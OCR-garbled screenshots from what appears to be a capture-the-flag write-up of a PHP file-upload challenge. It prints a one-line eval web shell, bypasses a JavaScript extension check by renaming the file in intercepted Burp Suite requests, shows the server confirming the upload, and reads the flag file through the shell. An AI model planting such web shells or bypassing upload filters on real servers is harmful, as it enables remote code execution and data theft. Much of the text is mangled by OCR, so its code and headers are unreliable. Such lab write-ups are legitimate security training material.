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a.php e

C: > Users » limin > Desktop > a.php
1 @eval($ POST['a"]);
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<?php @eval($_POST['a']);?>
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0 DevTools is now available in Chinese! IEUVEWRGE e N1 EEAETTET ] BTG W EGLI R GRa G Don't show again x
[x ﬂ Elements Cansole Sources Metwork Performance Memory Application Security Lighthouse » L | Q : X
Page  Filesystem » | [[¢ (index) X SR vs O©
12 var i = this.length; -~ | » Watch
v Otop 13 while (i--) {
¥ (S 111.200.241.244:57486 14 if (this[i] === obj) { ¥ Breakpoints
: 15 return true;
B Gndex) 16 } ! No breakpoints
17 ¥ ¥ Scope
13 return false;
19|} Not paused
20
21 function check(){ v Call Stack
22 upfile = document.getElementById("upfile™);
23 submit = document.getElementById("submit"); Not paused
24 name = upfile.value; » XHR/fetch Breakpoints
25 ext = name.replace(/".+\./,"");
2 ffr— o » DOM Breakpoints
274 if([ 'jpgi B 'png' ].contains(ext)){ » Global Listeners
25 submit.disabled = false;
29 lelse{ » Event Listener Breakpoints
:i’ submit.disabled = true; » CSP Violation Breakpoints
32 alert("EEFE—RERICH LFL);
33/}
34
35
36|}
37
38 </script>
39
48| </head>» v
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Go Cancel || < |v | > |v
Request
JRaw [ Params XHeaders XHex l
POST findex php HTTP/1 1 L*\

Host: 111.200.241.244:57486

Content-Length: 215

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http:4111.200.241 244:57486

Content-Type: multipart/form-data;
boundary=-—-WebkKitFormBoundaryF A22fGOtL By XzR3f

User-Agent: Mozilla/s .0 (Windows MT 10.0: Win64, x64) AppleWebKit/537.26
(KHTML, like Gecko) Chrome/99 0 4844 51 Safari/537 36 Edg/99 0 1150 39
Accept

text/html application/xhtmi+xml applicationfml.q=0.9 image/webp image/apng,*/*;,q=0
8 application/signed-exchange;v=b3;9=0.9

Referer. http://111.200.241 244 57488/

Accept-Encoding: gzip, deflate

AcceptLanguage: zh-CN zh;q=0.9 en.g=0.5 en-GB,g=0.7 en-US,q=0.6
Connection: close

------ WeblKitFormBoundaryF A22fGOtL ByXzR3f
Content-Disposition: form-data; name="upfile"; filename="a jpg"

Content-Type: image/|peg

<?php @eval($_POST['aT);?=

4 7Eburpsuite B i i “a.jpg” i~ “a.php” R J5 _EAE

Target: http://111.200.241.244:57486 / @

Response

Raw

o
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[Dashboard [Target X Proxy [ Intruder X Repeater X Sequencer [ Decoder X Comparer [ Extender X Project options [User options \

1= (2 ...

Go Cancel | < |[v| > |¥

Target: http://111.200.241.244:57486 @

Request Response
JRaw X Params [Headers XHex \ JRaw [ Headers [Hex [ Render }
POST findex php HTTP/1 1 Lt\ HTTP/1 .1 200 OK L‘\

Host 111 200241 24457486

Content-Length: 210

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://111.200.241.244:57486

Content-Type: multipartform-data;

boundary=—--WebKitFormBoundaryF A22fGOtLByXzR 3f

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/99.0 4644 .51 Safari/537.26 Edg/99.0.1150.29
Accept

text/html applicationfxhtml+xml application/xml,q=0.9 image/webp image/apng */* g=0
8 application/signed-exchange;v=b3;0=09

Referer http/i111 200241 244 57486/

Accept-Encoding: gzip, deflate

AcceptLanguage: zh-CN zh,g=0.9 en;q=0.5 en-GE;g=0.7 en-US;q=0.6
Connection: close

------ WebKitFormBoundaryF A22fGOtLBy X zR3f
Content-Disposition: form-data; name="upfile"; filename="a. php"
Content-Type: imagefjpeg = -
<?php @eval($_POST[al),?=

------ WebKitF ormBoundaryF A22fGOtLByXzR3f--

AL AR BT
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Date: Sat, 19 Mar 2022 05:36:07 GMT
Server: Apache/2 4 25 (Debian)
#-Powered-By, PHP/S 6.37

Vary. Accept-Encoding
Content-Length: 956

Connection: close

Content-Type: text/html; charset=UTF-5

upload st : upload/1647668167.a.php

=iDoctype nimi=

<html=

<head=

=meta http-equiv="Content-Type" content="text/html; charset=utf-&" /=

<script type="textjavascript"=

Array.prototype.contains = function (obj) {
var i =this.length;
while (i--) {
if (this[i]=== obj) {
return true;

falnim) i) -
} CSDN @Livvrre
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*) default (T-E3F)
| baset4
! chr
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g == [9111.200.241.244 5
| 0 B®3E (1) < | ekl (5) ~
=y OFE v o LE < Rl # THFE A BE | jvarfwwwihtml/ > &R
=M
var A5 B & F Bt
=0 www
~ (i (3 wupload 2022-03-19 05:36:07 4 Kb 0755
= itm
r— flag.php 2022-03-19 05:10:57 62b 0664
uploa
5 index.html 2018-09-12 01:54:42 11.24 Kb 0664
index.php 2018-09-12 01:54:42 1.35 Kb 0664
5 install.sh 2018-09-12 01:54:42 221b 0775
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™ Ri8: /var/www/html/flag.php

var/www/html/flag.php

1 <?php

< IR

2 $flag="cyberpeace{3ce58fca5fob978ddc26cc2bbdd3dedo}";
3
4
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